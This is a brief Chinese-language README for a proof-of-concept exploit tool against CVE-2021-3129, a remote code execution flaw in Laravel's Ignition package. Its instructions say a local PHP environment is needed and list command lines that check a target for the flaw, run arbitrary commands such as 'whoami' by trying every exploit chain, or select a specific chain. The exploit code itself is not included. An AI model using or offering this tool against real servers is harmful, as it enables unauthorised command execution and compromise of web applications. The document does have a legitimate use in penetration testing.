CVE-2021-3129 PoC — Facade Ignition for Laravel 授权问题漏洞

介绍

## CVE-2021-3129

使用说明：

注：本地需有php环境

```
python3 CVE-2021-3129.py -u http://127.0.0.1:80 （只检测poc）
python3 CVE-2021-3129.py -u http://127.0.0.1:80 -c whoami （命令执行，默认会遍历所有利用链）
python3 CVE-2021-3129.py -u http://127.0.0.1:80 -c whoami -chain laravel/rce1 （如检测到可用利用链可直接选择利用）
```

![20240115-145801@2x](20240115-150156@2x.png)

文件快照

备注